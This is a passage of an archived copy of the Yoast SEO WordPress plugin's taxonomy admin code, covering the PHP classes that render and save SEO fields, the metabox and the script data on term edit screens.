	private function is_indexable( $term ) {
		// When the no_index value is not empty and not default, check if its value is index.
		$no_index = WPSEO_Taxonomy_Meta::get_term_meta( $term->term_id, $this->taxonomy, 'noindex' );

		// Check if the default for taxonomy is empty (this will be index).
		if ( ! empty( $no_index ) && $no_index !== 'default' ) {
			return ( $no_index === 'index' );
		}

		if ( is_object( $term ) ) {
			$no_index_key = 'noindex-tax-' . $term->taxonomy;

			// If the option is false, this means we want to index it.
			return WPSEO_Options::get( $no_index_key, false ) === false;
		}

		return true;
	}

	/**
	 * Wraps the WPSEO_Metabox check to determine whether the metabox should be displayed either by
	 * choice of the admin or because the taxonomy is not public.
	 *
	 * @since 7.0
	 *
	 * @param string|null $taxonomy Optional. The taxonomy to test, defaults to the current taxonomy.
	 *
	 * @return bool Whether the meta box (and associated columns etc) should be hidden.
	 */
	private function display_metabox( $taxonomy = null ) {
		$current_taxonomy = $this->get_current_taxonomy();

		if ( ! isset( $taxonomy ) && ! empty( $current_taxonomy ) ) {
			$taxonomy = $current_taxonomy;
		}

		return WPSEO_Utils::is_metabox_active( $taxonomy, 'taxonomy' );
	}
}
wordpress-seo/admin/taxonomy/class-taxonomy-fields-presenter.php000064400000014074147510273110021300 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class WPSEO_Taxonomy_Presenter.
 */
class WPSEO_Taxonomy_Fields_Presenter {

	/**
	 * The taxonomy meta data for the current term.
	 *
	 * @var array
	 */
	private $tax_meta;

	/**
	 * Constructs the WPSEO_Taxonomy_Fields_Presenter class.
	 *
	 * @param stdClass $term The current term.
	 */
	public function __construct( $term ) {
		$this->tax_meta = WPSEO_Taxonomy_Meta::get_term_meta( (int) $term->term_id, $term->taxonomy );
	}

	/**
	 * Displaying the form fields.
	 *
	 * @param array $fields Array with the fields that will be displayed.
	 *
	 * @return string
	 */
	public function html( array $fields ) {
		$content = '';
		foreach ( $fields as $field_name => $field_configuration ) {
			$content .= $this->form_row( 'wpseo_' . $field_name, $field_configuration );
		}
		return $content;
	}

	/**
	 * Create a row in the form table.
	 *
	 * @param string $field_name          Variable the row controls.
	 * @param array  $field_configuration Array with the field configuration.
	 *
	 * @return string
	 */
	private function form_row( $field_name, array $field_configuration ) {
		$esc_field_name = esc_attr( $field_name );

		$options = (array) $field_configuration['options'];

		if ( ! empty( $field_configuration['description'] ) ) {
			$options['description'] = $field_configuration['description'];
		}

		$label            = $this->get_label( $field_configuration['label'], $esc_field_name );
		$field            = $this->get_field( $field_configuration['type'], $esc_field_name, $this->get_field_value( $field_name ), $options );
		$help_content     = ( $field_configuration['options']['help'] ?? '' );
		$help_button_text = ( $field_configuration['options']['help-button'] ?? '' );
		$help             = new WPSEO_Admin_Help_Panel( $field_name, $help_button_text, $help_content );

		return $this->parse_row( $label, $help, $field );
	}

	/**
	 * Generates the html for the given field config.
	 *
	 * @param string $field_type  The fieldtype, e.g: text, checkbox, etc.
	 * @param string $field_name  The name of the field.
	 * @param string $field_value The value of the field.
	 * @param array  $options     Array with additional options.
	 *
	 * @return string
	 */
	private function get_field( $field_type, $field_name, $field_value, array $options ) {

		$class            = $this->get_class( $options );
		$field            = '';
		$description      = '';
		$aria_describedby = '';

		if ( ! empty( $options['description'] ) ) {
			$aria_describedby = ' aria-describedby="' . $field_name . '-desc"';
			$description      = '<p id="' . $field_name . '-desc" class="yoast-metabox__description">' . $options['description'] . '</p>';
		}

		switch ( $field_type ) {
			case 'div':
				$field .= '<div id="' . $field_name . '"></div>';
				break;
			case 'url':
				$field .= '<input name="' . $field_name . '" id="' . $field_name . '" ' . $class . ' type="url" value="' . esc_attr( urldecode( $field_value ) ) . '" size="40"' . $aria_describedby . '/>';
				break;
			case 'text':
				$field .= '<input name="' . $field_name . '" id="' . $field_name . '" ' . $class . ' type="text" value="' . esc_attr( $field_value ) . '" size="40"' . $aria_describedby . '/>';
				break;
			case 'checkbox':
				$field .= '<input name="' . $field_name . '" id="' . $field_name . '" type="checkbox" ' . checked( $field_value ) . $aria_describedby . '/>';
				break;
			case 'textarea':
				$rows = 3;
				if ( ! empty( $options['rows'] ) ) {
					$rows = $options['rows'];
				}
				$field .= '<textarea class="large-text" rows="' . esc_attr( $rows ) . '" id="' . $field_name . '" name="' . $field_name . '"' . $aria_describedby . '>' . esc_textarea( $field_value ) . '</textarea>';
				break;
			case 'select':
				if ( is_array( $options ) && $options !== [] ) {
					$field .= '<select name="' . $field_name . '" id="' . $field_name . '"' . $aria_describedby . '>';

					$select_options = ( array_key_exists( 'options', $options ) ) ? $options['options'] : $options;

					foreach ( $select_options as $option => $option_label ) {
						$selected = selected( $option, $field_value, false );
						$field   .= '<option ' . $selected . ' value="' . esc_attr( $option ) . '">' . esc_html( $option_label ) . '</option>';
					}
					unset( $option, $option_label, $selected );

					$field .= '</select>';
				}
				break;
			case 'hidden':
				$field .= '<input name="' . $field_name . '" id="hidden_' . $field_name . '" type="hidden" value="' . esc_attr( $field_value ) . '" />';
				break;
		}

		return $field . $description;
	}

	/**
	 * Getting the value for given field_name.
	 *
	 * @param string $field_name The fieldname to get the value for.
	 *
	 * @return string
	 */
	private function get_field_value( $field_name ) {
		if ( isset( $this->tax_meta[ $field_name ] ) && $this->tax_meta[ $field_name ] !== '' ) {
			return $this->tax_meta[ $field_name ];
		}

		return '';
	}

	/**
	 * Getting the class attributes if $options contains a class key.
	 *
	 * @param array $options The array with field options.
	 *
	 * @return string
	 */
	private function get_class( array $options ) {
		if ( ! empty( $options['class'] ) ) {
			return ' class="' . esc_attr( $options['class'] ) . '"';
		}

		return '';
	}

	/**
	 * Getting the label HTML.
	 *
	 * @param string $label      The label value.
	 * @param string $field_name The target field.
	 *
	 * @return string
	 */
	private function get_label( $label, $field_name ) {
		if ( $label !== '' ) {
			return '<label for="' . $field_name . '">' . esc_html( $label ) . '</label>';
		}

		return '';
	}

	/**
	 * Returns the HTML for the row which contains label, help and the field.
	 *
	 * @param string                 $label The html for the label if there was a label set.
	 * @param WPSEO_Admin_Help_Panel $help  The help panel to render in this row.
	 * @param string                 $field The html for the field.
	 *
	 * @return string
	 */
	private function parse_row( $label, WPSEO_Admin_Help_Panel $help, $field ) {
		if ( $label !== '' || $help !== '' ) {
			return $label . $help->get_button_html() . $help->get_panel_html() . $field;
		}

		return $field;
	}
}
wordpress-seo/admin/taxonomy/class-taxonomy-metabox.php000064400000014060147510273110017457 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * This class generates the metabox on the edit term page.
 */
class WPSEO_Taxonomy_Metabox {

	/**
	 * The term currently being edited.
	 *
	 * @var WP_Term
	 */
	private $term;

	/**
	 * The term's taxonomy.
	 *
	 * @var string
	 */
	private $taxonomy;

	/**
	 * Whether or not the social tab is enabled for this metabox.
	 *
	 * @var bool
	 */
	private $is_social_enabled;

	/**
	 * Helper to determine whether or not the SEO analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	protected $seo_analysis;

	/**
	 * Helper to determine whether or not the readability analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	protected $readability_analysis;

	/**
	 * Helper to determine whether or not the inclusive language analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Inclusive_Language
	 */
	protected $inclusive_language_analysis;

	/**
	 * The constructor.
	 *
	 * @param string   $taxonomy The taxonomy.
	 * @param stdClass $term     The term.
	 */
	public function __construct( $taxonomy, $term ) {
		$this->term              = $term;
		$this->taxonomy          = $taxonomy;
		$this->is_social_enabled = WPSEO_Options::get( 'opengraph', false ) || WPSEO_Options::get( 'twitter', false );

		$this->seo_analysis                = new WPSEO_Metabox_Analysis_SEO();
		$this->readability_analysis        = new WPSEO_Metabox_Analysis_Readability();
		$this->inclusive_language_analysis = new WPSEO_Metabox_Analysis_Inclusive_Language();
	}

	/**
	 * Shows the Yoast SEO metabox for the term.
	 *
	 * @return void
	 */
	public function display() {
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $this->get_product_title() returns a hard-coded string.
		printf( '<div id="wpseo_meta" class="postbox yoast wpseo-taxonomy-metabox-postbox"><h2><span>%1$s</span></h2>', $this->get_product_title() );

		echo '<div class="inside">';
		echo '<div id="taxonomy_overall"></div>';

		$this->render_hidden_fields();
		$this->render_tabs();

		echo '</div>';
		echo '</div>';
	}

	/**
	 * Renders the metabox hidden fields.
	 *
	 * @return void
	 */
	protected function render_hidden_fields() {
		$fields_presenter  = new WPSEO_Taxonomy_Fields_Presenter( $this->term );
		$field_definitions = new WPSEO_Taxonomy_Fields();

		echo $fields_presenter->html( $field_definitions->get( 'content' ) );
		if ( WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) || WPSEO_Options::get( 'disableadvanced_meta' ) === false ) {
			echo $fields_presenter->html( $field_definitions->get( 'settings' ) );
		}

		if ( $this->is_social_enabled ) {
			echo $fields_presenter->html( $field_definitions->get( 'social' ) );
		}
	}

	/**
	 * Renders the metabox tabs.
	 *
	 * @return void
	 */
	protected function render_tabs() {
		echo '<div class="wpseo-metabox-content">';
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $this->get_product_title() returns a hard-coded string.
		printf( '<div class="wpseo-metabox-menu"><ul role="tablist" class="yoast-aria-tabs" aria-label="%s">', $this->get_product_title() );

		$tabs = $this->get_tabs();

		foreach ( $tabs as $tab ) {
			$tab->display_link();
		}

		echo '</ul></div>';

		foreach ( $tabs as $tab ) {
			$tab->display_content();
		}

		echo '</div>';
	}

	/**
	 * Returns the relevant metabox sections for the current view.
	 *
	 * @return WPSEO_Metabox_Section[]
	 */
	private function get_tabs() {
		$tabs = [];

		$label = __( 'SEO', 'wordpress-seo' );
		if ( $this->seo_analysis->is_enabled() ) {
			$label = '<span class="wpseo-score-icon-container" id="wpseo-seo-score-icon"></span>' . $label;
		}

		$tabs[] = new WPSEO_Metabox_Section_React( 'content', $label );

		if ( $this->readability_analysis->is_enabled() ) {
			$tabs[] = new WPSEO_Metabox_Section_Readability();
		}

		if ( $this->inclusive_language_analysis->is_enabled() ) {
			$tabs[] = new WPSEO_Metabox_Section_Inclusive_Language();
		}

		if ( $this->is_social_enabled ) {
			$tabs[] = new WPSEO_Metabox_Section_React(
				'social',
				'<span class="dashicons dashicons-share"></span>' . __( 'Social', 'wordpress-seo' ),
				'',
				[
					'html_after' => '<div id="wpseo-section-social"></div>',
				]
			);
		}

		$tabs = array_merge( $tabs, $this->get_additional_tabs() );

		return $tabs;
	}

	/**
	 * Returns the metabox tabs that have been added by other plugins.
	 *
	 * @return WPSEO_Metabox_Section_Additional[]
	 */
	protected function get_additional_tabs() {
		$tabs = [];

		/**
		 * Private filter: 'yoast_free_additional_taxonomy_metabox_sections'.
		 *
		 * Meant for internal use only. Allows adding additional tabs to the Yoast SEO metabox for taxonomies.
		 *
		 * @param array[] $tabs {
		 *     An array of arrays with tab specifications.
		 *
		 *     @type array $tab {
		 *          A tab specification.
		 *
		 *          @type string $name         The name of the tab. Used in the HTML IDs, href and aria properties.
		 *          @type string $link_content The content of the tab link.
		 *          @type string $content      The content of the tab.
		 *          @type array $options {
		 *              Optional. Extra options.
		 *
		 *              @type string $link_class      Optional. The class for the tab link.
		 *              @type string $link_aria_label Optional. The aria label of the tab link.
		 *          }
		 *     }
		 * }
		 */
		$requested_tabs = apply_filters( 'yoast_free_additional_taxonomy_metabox_sections', [] );

		foreach ( $requested_tabs as $tab ) {
			if ( is_array( $tab ) && array_key_exists( 'name', $tab ) && array_key_exists( 'link_content', $tab ) && array_key_exists( 'content', $tab ) ) {
				$options = array_key_exists( 'options', $tab ) ? $tab['options'] : [];
				$tabs[]  = new WPSEO_Metabox_Section_Additional(
					$tab['name'],
					$tab['link_content'],
					$tab['content'],
					$options
				);
			}
		}

		return $tabs;
	}

	/**
	 * Retrieves the product title.
	 *
	 * @return string The product title.
	 */
	protected function get_product_title() {
		return YoastSEO()->helpers->product->get_product_name();
	}
}
wordpress-seo/admin/taxonomy/class-taxonomy-fields.php000064400000012037147510273110017270 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class WPSEO_Taxonomy_Tab.
 *
 * Contains the basics for each class extending this one.
 */
class WPSEO_Taxonomy_Fields {

	/**
	 * Returns the taxonomy fields.
	 *
	 * @param string $field_group The field group.
	 *
	 * @return array
	 */
	public function get( $field_group ) {
		$fields = [];

		switch ( $field_group ) {
			case 'content':
				$fields = $this->get_content_fields();
				break;
			case 'settings':
				$fields = $this->get_settings_fields();
				break;
			case 'social':
				$fields = $this->get_social_fields();
				break;
		}

		return $this->filter_hidden_fields( $fields );
	}

	/**
	 * Returns array with the fields for the general tab.
	 *
	 * @return array
	 */
	protected function get_content_fields() {
		$fields = [
			'title' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'desc' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'linkdex' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'content_score' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'inclusive_language_score' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'focuskw' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'is_cornerstone' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
		];

		/**
		 * Filter: 'wpseo_taxonomy_content_fields' - Adds the possibility to register additional content fields.
		 *
		 * @param array $additional_fields The additional fields.
		 */
		$additional_fields = apply_filters( 'wpseo_taxonomy_content_fields', [] );

		return array_merge( $fields, $additional_fields );
	}

	/**
	 * Returns array with the fields for the settings tab.
	 *
	 * @return array
	 */
	protected function get_settings_fields() {
		return [
			'noindex' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
			'bctitle' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => ( WPSEO_Options::get( 'breadcrumbs-enable' ) !== true ),
			],
			'canonical' => [
				'label'       => '',
				'description' => '',
				'type'        => 'hidden',
				'options'     => '',
				'hide'        => false,
			],
		];
	}

	/**
	 * Returning the fields for the social media tab.
	 *
	 * @return array
	 */
	protected function get_social_fields() {
		$fields = [];

		if ( WPSEO_Options::get( 'opengraph', false ) === true ) {
			$fields = [
				'opengraph-title'       => [
					'label'       => '',
					'description' => '',
					'type'        => 'hidden',
					'options'     => '',
					'hide'        => false,
				],
				'opengraph-description' => [
					'label'       => '',
					'description' => '',
					'type'        => 'hidden',
					'options'     => '',
					'hide'        => false,
				],
				'opengraph-image'       => [
					'label'       => '',
					'description' => '',
					'type'        => 'hidden',
					'options'     => '',
					'hide'        => false,
				],
				'opengraph-image-id'    => [
					'label'       => '',
					'description' => '',
					'type'        => 'hidden',
					'options'     => '',
					'hide'        => false,
				],
			];
		}

		if ( WPSEO_Options::get( 'twitter', false ) === true ) {
			$fields = array_merge(
				$fields,
				[
					'twitter-title'       => [
						'label'       => '',
						'description' => '',
						'type'        => 'hidden',
						'options'     => '',
						'hide'        => false,
					],
					'twitter-description' => [
						'label'       => '',
						'description' => '',
						'type'        => 'hidden',
						'options'     => '',
						'hide'        => false,
					],
					'twitter-image'       => [
						'label'       => '',
						'description' => '',
						'type'        => 'hidden',
						'options'     => '',
						'hide'        => false,
					],
					'twitter-image-id'    => [
						'label'       => '',
						'description' => '',
						'type'        => 'hidden',
						'options'     => '',
						'hide'        => false,
					],
				]
			);
		}

		return $fields;
	}

	/**
	 * Filter the hidden fields.
	 *
	 * @param array $fields Array with the form fields that has will be filtered.
	 *
	 * @return array
	 */
	protected function filter_hidden_fields( array $fields ) {
		foreach ( $fields as $field_name => $field_options ) {
			if ( ! empty( $field_options['hide'] ) ) {
				unset( $fields[ $field_name ] );
			}
		}

		return $fields;
	}
}
wordpress-seo/admin/taxonomy/class-taxonomy.php000064400000034547147510273110016036 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;

/**
 * Class that handles the edit boxes on taxonomy edit pages.
 */
class WPSEO_Taxonomy {

	/**
	 * The current active taxonomy.
	 *
	 * @var string
	 */
	private $taxonomy = '';

	/**
	 * Holds the metabox SEO analysis instance.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	private $analysis_seo;

	/**
	 * Holds the metabox readability analysis instance.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	private $analysis_readability;

	/**
	 * Holds the metabox inclusive language analysis instance.
	 *
	 * @var WPSEO_Metabox_Analysis_Inclusive_Language
	 */
	private $analysis_inclusive_language;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$this->taxonomy = $this::get_taxonomy();

		add_action( 'edit_term', [ $this, 'update_term' ], 99, 3 );
		add_action( 'init', [ $this, 'custom_category_descriptions_allow_html' ] );
		add_action( 'admin_init', [ $this, 'admin_init' ] );

		if ( self::is_term_overview( $GLOBALS['pagenow'] ) ) {
			new WPSEO_Taxonomy_Columns();
		}
		$this->analysis_seo                = new WPSEO_Metabox_Analysis_SEO();
		$this->analysis_readability        = new WPSEO_Metabox_Analysis_Readability();
		$this->analysis_inclusive_language = new WPSEO_Metabox_Analysis_Inclusive_Language();
	}

	/**
	 * Add hooks late enough for taxonomy object to be available for checks.
	 *
	 * @return void
	 */
	public function admin_init() {

		$taxonomy = get_taxonomy( $this->taxonomy );

		if ( empty( $taxonomy ) || empty( $taxonomy->public ) || ! $this->show_metabox() ) {
			return;
		}

		// Adds custom category description editor. Needs a hook that runs before the description field.
		add_action( "{$this->taxonomy}_term_edit_form_top", [ $this, 'custom_category_description_editor' ] );

		add_action( sanitize_text_field( $this->taxonomy ) . '_edit_form', [ $this, 'term_metabox' ], 90, 1 );
		add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );
	}

	/**
	 * Show the SEO inputs for term.
	 *
	 * @param stdClass|WP_Term $term Term to show the edit boxes for.
	 *
	 * @return void
	 */
	public function term_metabox( $term ) {
		if ( WPSEO_Metabox::is_internet_explorer() ) {
			$this->show_internet_explorer_notice();
			return;
		}

		$metabox = new WPSEO_Taxonomy_Metabox( $this->taxonomy, $term );
		$metabox->display();
	}

	/**
	 * Renders the content for the internet explorer metabox.
	 *
	 * @return void
	 */
	private function show_internet_explorer_notice() {
		$product_title = YoastSEO()->helpers->product->get_product_name();

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $product_title is hardcoded.
		printf( '<div id="wpseo_meta" class="postbox yoast wpseo-taxonomy-metabox-postbox"><h2><span>%1$s</span></h2>', $product_title );
		echo '<div class="inside">';

		$content = sprintf(
			/* translators: 1: Link start tag to the Firefox website, 2: Link start tag to the Chrome website, 3: Link start tag to the Edge website, 4: Link closing tag. */
			esc_html__( 'The browser you are currently using is unfortunately rather dated. Since we strive to give you the best experience possible, we no longer support this browser. Instead, please use %1$sFirefox%4$s, %2$sChrome%4$s or %3$sMicrosoft Edge%4$s.', 'wordpress-seo' ),
			'<a href="https://www.mozilla.org/firefox/new/">',
			'<a href="https://www.google.com/chrome/">',
			'<a href="https://www.microsoft.com/windows/microsoft-edge">',
			'</a>'
		);
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above.
		echo new Alert_Presenter( $content );

		echo '</div></div>';
	}

	/**
	 * Queue assets for taxonomy screens.
	 *
	 * @since 1.5.0
	 *
	 * @return void
	 */
	public function admin_enqueue_scripts() {

		$pagenow = $GLOBALS['pagenow'];

		if ( ! ( self::is_term_edit( $pagenow ) || self::is_term_overview( $pagenow ) ) ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_style( 'scoring' );
		$asset_manager->enqueue_style( 'monorepo' );

		$tag_id = $this::get_tag_id();

		if (
			self::is_term_edit( $pagenow )
			&& ! is_null( $tag_id )
		) {
			wp_enqueue_media(); // Enqueue files needed for upload functionality.

			$asset_manager->enqueue_style( 'metabox-css' );
			$asset_manager->enqueue_style( 'ai-generator' );
			$asset_manager->enqueue_script( 'term-edit' );

			/**
			 * Remove the emoji script as it is incompatible with both React and any
			 * contenteditable fields.
			 */
			remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );

			$asset_manager->localize_script( 'term-edit', 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() );

			$script_data = [
				'analysis'              => [
					'plugins' => [
						'replaceVars' => [
							'replace_vars'             => $this->get_replace_vars(),
							'recommended_replace_vars' => $this->get_recommended_replace_vars(),
							'scope'                    => $this->determine_scope(),
						],
						'shortcodes' => [
							'wpseo_shortcode_tags'          => $this->get_valid_shortcode_tags(),
							'wpseo_filter_shortcodes_nonce' => wp_create_nonce( 'wpseo-filter-shortcodes' ),
						],
					],
					'worker'  => [
						'url'                     => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ),
						'dependencies'            => YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ),
						'keywords_assessment_url' => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ),
						'log_level'               => WPSEO_Utils::get_analysis_worker_log_level(),
					],
				],
				'metabox'               => $this->localize_term_scraper_script( $tag_id ),
				'isTerm'                => true,
				'postId'                => $tag_id,
				'termType'              => $this->get_taxonomy(),
				'usedKeywordsNonce'     => wp_create_nonce( 'wpseo-keyword-usage' ),
			];

			/**
			 * The website information repository.
			 *
			 * @var $repo Website_Information_Repository
			 */
			$repo             = YoastSEO()->classes->get( Website_Information_Repository::class );
			$term_information = $repo->get_term_site_information();
			$term_information->set_term( get_term_by( 'id', $tag_id, $this::get_taxonomy() ) );
			$script_data = array_merge_recursive( $term_information->get_legacy_site_information(), $script_data );

			$asset_manager->localize_script( 'term-edit', 'wpseoScriptData', $script_data );
			$asset_manager->enqueue_user_language_script();
		}

		if ( self::is_term_overview( $pagenow ) ) {
			$asset_manager->enqueue_script( 'edit-page' );
			$asset_manager->enqueue_style( 'edit-page' );
		}
	}

	/**
	 * Update the taxonomy meta data on save.
	 *
	 * @param int    $term_id  ID of the term to save data for.
	 * @param int    $tt_id    The taxonomy_term_id for the term.
	 * @param string $taxonomy The taxonomy the term belongs to.
	 *
	 * @return void
	 */
	public function update_term( $term_id, $tt_id, $taxonomy ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( is_multisite() && ms_is_switched() ) {
			return;
		}

		/* Create post array with only our values. */
		$new_meta_data = [];
		foreach ( WPSEO_Taxonomy_Meta::$defaults_per_term as $key => $default ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: Nonce is already checked by WordPress before executing this action.
			if ( isset( $_POST[ $key ] ) && is_string( $_POST[ $key ] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: $data is getting sanitized later.
				$data                  = wp_unslash( $_POST[ $key ] );
				$new_meta_data[ $key ] = ( $key !== 'wpseo_canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data );
			}

			// If analysis is disabled remove that analysis score value from the DB.
			if ( $this->is_meta_value_disabled( $key ) ) {
				$new_meta_data[ $key ] = '';
			}
		}

		// Saving the values.
		WPSEO_Taxonomy_Meta::set_values( $term_id, $taxonomy, $new_meta_data );
	}

	/**
	 * Determines if the given meta value key is disabled.
	 *
	 * @param string $key The key of the meta value.
	 * @return bool Whether the given meta value key is disabled.
	 */
	public function is_meta_value_disabled( $key ) {
		if ( $key === 'wpseo_linkdex' && ! $this->analysis_seo->is_enabled() ) {
			return true;
		}

		if ( $key === 'wpseo_content_score' && ! $this->analysis_readability->is_enabled() ) {
			return true;
		}

		if ( $key === 'wpseo_inclusive_language_score' && ! $this->analysis_inclusive_language->is_enabled() ) {
			return true;
		}

		return false;
	}

	/**
	 * Allows post-kses-filtered HTML in term descriptions.
	 *
	 * @return void
	 */
	public function custom_category_descriptions_allow_html() {
		remove_filter( 'term_description', 'wp_kses_data' );
		remove_filter( 'pre_term_description', 'wp_filter_kses' );
		add_filter( 'term_description', 'wp_kses_post' );
		add_filter( 'pre_term_description', 'wp_filter_post_kses' );
	}

	/**
	 * Output the WordPress editor.
	 *
	 * @return void
	 */
	public function custom_category_description_editor() {
		wp_editor( '', 'description' );
	}

	/**
	 * Pass variables to js for use with the term-scraper.
	 *
	 * @param int $term_id The ID of the term to localize the script for.
	 *
	 * @return array
	 */
	public function localize_term_scraper_script( $term_id ) {
		$term     = get_term_by( 'id', $term_id, $this::get_taxonomy() );
		$taxonomy = get_taxonomy( $term->taxonomy );

		$term_formatter = new WPSEO_Metabox_Formatter(
			new WPSEO_Term_Metabox_Formatter( $taxonomy, $term )
		);

		return $term_formatter->get_values();
	}

	/**
	 * Pass some variables to js for replacing variables.
	 *
	 * @return array
	 */
	public function localize_replace_vars_script() {
		return [
			'replace_vars'             => $this->get_replace_vars(),
			'recommended_replace_vars' => $this->get_recommended_replace_vars(),
			'scope'                    => $this->determine_scope(),
		];
	}

	/**
	 * Determines the scope based on the current taxonomy.
	 * This can be used by the replacevar plugin to determine if a replacement needs to be executed.
	 *
	 * @return string String decribing the current scope.
	 */
	private function determine_scope() {
		$taxonomy = $this::get_taxonomy();

		if ( $taxonomy === 'category' ) {
			return 'category';
		}

		if ( $taxonomy === 'post_tag' ) {
			return 'tag';
		}

		return 'term';
	}

	/**
	 * Determines if a given page is the term overview page.
	 *
	 * @param string $page The string to check for the term overview page.
	 *
	 * @return bool
	 */
	public static function is_term_overview( $page ) {
		return $page === 'edit-tags.php';
	}

	/**
	 * Determines if a given page is the term edit page.
	 *
	 * @param string $page The string to check for the term edit page.
	 *
	 * @return bool
	 */
	public static function is_term_edit( $page ) {
		return $page === 'term.php';
	}

	/**
	 * Function to get the labels for the current taxonomy.
	 *
	 * @return object|null Labels for the current taxonomy or null if the taxonomy is not set.
	 */
	public static function get_labels() {
		$term = self::get_taxonomy();
		if ( $term !== '' ) {
			$taxonomy = get_taxonomy( $term );
			return $taxonomy->labels;
		}
		return null;
	}

	/**
	 * Retrieves a template.
	 * Check if metabox for current taxonomy should be displayed.
	 *
	 * @return bool
	 */
	private function show_metabox() {
		$option_key = 'display-metabox-tax-' . $this->taxonomy;

		return WPSEO_Options::get( $option_key );
	}

	/**
	 * Getting the taxonomy from the URL.
	 *
	 * @return string
	 */
	private static function get_taxonomy() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['taxonomy'] ) && is_string( $_GET['taxonomy'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) );
		}
		return '';
	}

	/**
	 * Get the current tag ID from the GET parameters.
	 *
	 * @return int|null the tag ID if it exists, null otherwise.
	 */
	private static function get_tag_id() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['tag_ID'] ) && is_string( $_GET['tag_ID'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer.
			$tag_id = (int) wp_unslash( $_GET['tag_ID'] );
			if ( $tag_id > 0 ) {
				return $tag_id;
			}
		}
		return null;
	}

	/**
	 * Prepares the replace vars for localization.
	 *
	 * @return array<string, string> The replacement variables.
	 */
	private function get_replace_vars() {
		$term_id = $this::get_tag_id();
		$term    = get_term_by( 'id', $term_id, $this::get_taxonomy() );

		$cached_replacement_vars = [];

		$vars_to_cache = [
			'date',
			'id',
			'sitename',
			'sitedesc',
			'sep',
			'page',
			'term_title',
			'term_description',
			'term_hierarchy',
			'category_description',
			'tag_description',
			'searchphrase',
			'currentyear',
		];

		foreach ( $vars_to_cache as $var ) {
			$cached_replacement_vars[ $var ] = wpseo_replace_vars( '%%' . $var . '%%', $term );
		}

		return $cached_replacement_vars;
	}

	/**
	 * Prepares the recommended replace vars for localization.
	 *
	 * @return array<string> The recommended replacement variables.
	 */
	private function get_recommended_replace_vars() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
		$taxonomy                 = $this::get_taxonomy();

		if ( $taxonomy === '' ) {
			return [];
		}

		// What is recommended depends on the current context.
		$page_type = $recommended_replace_vars->determine_for_term( $taxonomy );

		return $recommended_replace_vars->get_recommended_replacevars_for( $page_type );
	}

	/**
	 * Returns an array with shortcode tags for all registered shortcodes.
	 *
	 * @return array<string> Array with shortcode tags.
	 */
	private function get_valid_shortcode_tags() {
		$shortcode_tags = [];

		foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) {
			$shortcode_tags[] = $tag;
		}

		return $shortcode_tags;
	}
}
wordpress-seo/admin/class-yoast-columns.php000064400000007022147510273110015103 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents the yoast columns.
 */
class WPSEO_Yoast_Columns implements WPSEO_WordPress_Integration {

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
